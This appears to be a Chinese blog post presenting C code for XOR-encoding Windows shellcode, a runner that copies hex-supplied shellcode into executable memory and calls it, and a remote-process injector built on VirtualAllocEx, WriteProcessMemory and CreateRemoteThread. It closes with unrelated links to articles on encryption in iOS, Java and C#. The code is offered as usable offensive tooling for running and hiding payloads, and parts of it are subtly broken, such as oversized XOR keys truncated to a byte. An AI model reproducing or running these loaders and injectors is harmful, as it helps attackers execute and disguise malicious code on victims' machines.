异或加密ShellCode:

#include <stdio.h>
#include <Windows.h> unsigned char buf[] = "\xba\xa9\xb0\x07\x68\xdd\xc3\xd9\x74\x24\xf4\x5e\x31\xc9\xb1"; int main(int argc, char* argv[])
{
int password = 1025;
unsigned char enShellCode[500];
unsigned char deShellCode[500];
int nLen = sizeof(buf)-1; for (int i = 0; i<nLen; i++)
{
enShellCode[i] = buf[i] ^ password;
printf("\\x%x", enShellCode[i]);
} printf("\n"); for (int i = 0; i<nLen; i++)
{
deShellCode[i] = enShellCode[i] ^ password;
printf("\\x%x", deShellCode[i]);
} system("pause");
return 0;
}

另一种ShellCode加密方式

#include <stdio.h>
#include <Windows.h> char ShellCode[] = "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"; void encoder(char* input, unsigned char key)
{
int i = 0, len = 0;
FILE * fp;
unsigned char * output;
len = strlen(input);
output = (unsigned char *)malloc(len + 1); for (i = 0; i<len; i++)
output[i] = input[i] ^ key; fp = fopen("shellcode.raw", "w+");
fprintf(fp, "\"");
for (i = 0; i<len; i++)
{
fprintf(fp, "\\x%0.2x", output[i]);
if ((i + 1) % 16 == 0)
fprintf(fp, "\"\n\"");
}
fprintf(fp, "\";");
fclose(fp); // 输出加密后的文件
for (i = 0; i<len; i++)
{
printf("%0.2x ", output[i]);
if ((i + 1) % 16 == 0)
{
printf("\n");
}
}
free(output);
} int main(int argc,char *argv[])
{
encoder(ShellCode, 1233); system("pause");
return 0;
}

ShellCode代码执行盒

#include <stdio.h>
#include <Windows.h> int main(int argc, char *argv[])
{
unsigned int char_in_hex; char *shellcode = argv[1];
unsigned int iterations = strlen(shellcode); unsigned int memory_allocation = strlen(shellcode) / 2; for (unsigned int i = 0; i< iterations - 1; i++)
{
sscanf(shellcode + 2 * i, "%2X", &char_in_hex);
shellcode[i] = (char)char_in_hex;
} void *exec = VirtualAlloc(0, memory_allocation, MEM_COMMIT, PAGE_READWRITE);
memcpy(exec, shellcode, memory_allocation);
DWORD ignore;
VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &ignore);
(*(void(*)()) exec)(); return 0;
}

ShellCOde 进程注入

#include <stdio.h>
#include <windows.h> unsigned char ShellCode[] = "shellcode代码"; BOOL InjectShellCode(int Pid)
{
HANDLE Handle, remoteThread;
PVOID remoteBuffer; Handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid); remoteBuffer = VirtualAllocEx(Handle, NULL, sizeof(ShellCode), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(Handle, remoteBuffer, ShellCode, sizeof(ShellCode), NULL);
remoteThread = CreateRemoteThread(Handle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(Handle);
} int main(int argc, char *argv[])
{
InjectShellCode(1024);
return 0;
}

C/C++ ShellCode 常用加密方式的更多相关文章

  1. iOS代码加密常用加密方式

    iOS代码加密常用加密方式 iOS代码加密常用加密方式,常见的iOS代码加密常用加密方式算法包括MD5加密.AES加密.BASE64加密,三大算法iOS代码加密是如何进行加密的,且看下文 MD5 iO ...

  2. C# 常用加密方式

    using System;using System.Collections.Generic;using System.Text;using System.Security.Cryptography;u ...

  3. Java中常用的加密方式(附多个工具类)

    一.Java常用加密方式 Base64加密算法(编码方式) MD5加密(消息摘要算法,验证信息完整性) 对称加密算法 非对称加密算法 数字签名算法 数字证书 二.分类按加密算法是否需要key被分为两类 ...

  4. java中常用的加密方式

    加密,是以某种特殊的算法改变原有的信息数据,使得未授权的用户即使获得了已加密的信息,但因不知解密的方法,仍然无法了解信息的内容.大体上分为双向加密和单向加密,而双向加密又分为对称加密和非对称加密(有些 ...

  5. 支付对接常用的加密方式介绍以及java代码实现

    京东科技 姚永健 一.术语表: 1.对称算法 加密解密密钥是相同的.这些算法也叫秘密密钥算法或单密钥算法,它要求发送者和接收者在安全通信之前,商定一个密钥.对称算法的安全性依赖于密钥,泄漏密钥就意味着 ...

  6. iOS开发中常用到的加密方式

    1 base64 1.1 简介 Base64编码的思想是是采用64个基本的ASCII码字符对数据进行重新编码.它将需要编码的数据拆分成字节数组.以3个字节为一组.按顺序排列24位数据,再把这24位数据 ...

  7. iOS常用的加密方式--备用

    MD5 iOS代码加密 创建MD5类,代码如下 #import <Foundation/Foundation.h> @interface CJMD5 : NSObject +(NSStri ...

  8. iOS常用的加密方式

    MD5 iOS代码加密 创建MD5类,代码如下 #import <Foundation/Foundation.h> @interface CJMD5 : NSObject +(NSStri ...

  9. PHP的几个常用加密函数(转载 https://jellybool.com/post/php-encrypt-functions)

    PHP的几个常用加密函数 在网站的开发过程中,常常需要对部分数据(如用户密码)进行加密,本文主要介绍PHP的几个常见的加密函数 MD5加密: string md5 ( string $str [, b ...

  10. iOS开发,让数据更安全的几个加密方式

    任何应用的开发中安全都是重中之重,在信息交互异常活跃的现在,信息加密技术显得尤为重要.在app应用开发中,我们需要对应用中的多项数据进行加密处理,从而来保证应用上线后的安全性,给用户一个安全保障.这篇 ...

随机推荐

  1. Spring相关原理

    Spring是什么? Spring是一个轻量级的IoC和AOP容器框架.常见的配置方式有三种:基于XML的配置.基于注解的配置.基于Java的配置. 模块分为以下:Spring Core:Spring ...

  2. 【驱动】I2C驱动分析(一)-I2C驱协议简介

    什么是 I²C I²C 叫集成电路总线 它是一种串行通信接口,具有双向两线同步串行总线,通常由两根线组成--SDA(串行数据线)和SCL(串行时钟线)和上拉电阻. 它们用于需要许多不同部件(例如传感器 ...

  3. 【调试】sysRq按键使用方法

    SysRq键简介 SysRq键是一个魔术案件,只要在内核没有完全卡死的情况下,内核都会相应SysRq 键的输入,使用这些组合键都可以搜集包括系统内存使用.CPU任务处理.进程运行状态等系统运行信息. ...

  4. C#读取FX5U线圈(modbusTCP)

    第一步:导入所需的类库 第二步:包含命名空间 第三步:实例化modbus类 ModbusTcpNet busTcpClient = null; busTcpClient = new ModbusTcp ...

  5. prettier配置项说明

    Prettier 特点 一键改变代码风格,无需改变开发风格 => 1. 安装Node 环境 自行安装 => 2. 安装 Prettier 全局安装npm install --global ...

  6. python进阶(2)--列表

    文档目录:一.访问列表元素二.更新列表三.删除元素四.列表排序五.len()与range()/list()六.创建一个包含1-10平方的列表七.复制列表两种方式八.元组:不可变的列表 -------- ...

  7. MetaGPT day02: MetaGPT Role源码分析

    MetaGPT源码分析 思维导图 MetaGPT版本为v0.4.0,如下是from metagpt.roles import Role,Role类执行Role.run时的思维导图: 概述 其中最重要的 ...

  8. JUC包常用类原理

    放眼望去,java.util.concurrent包下类大致包括:atomic 原子类.锁.并发集合.线程池.工具类.我们挑重要的了解一下. Atomic 原子类 Java针对并发编程已经有了各种锁, ...

  9. AHB-SRAMC Design-03

    SRAMC SRAM CORE 8块memory进行广播信号,例化8片memory

  10. JS - 递归实现无限分类

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...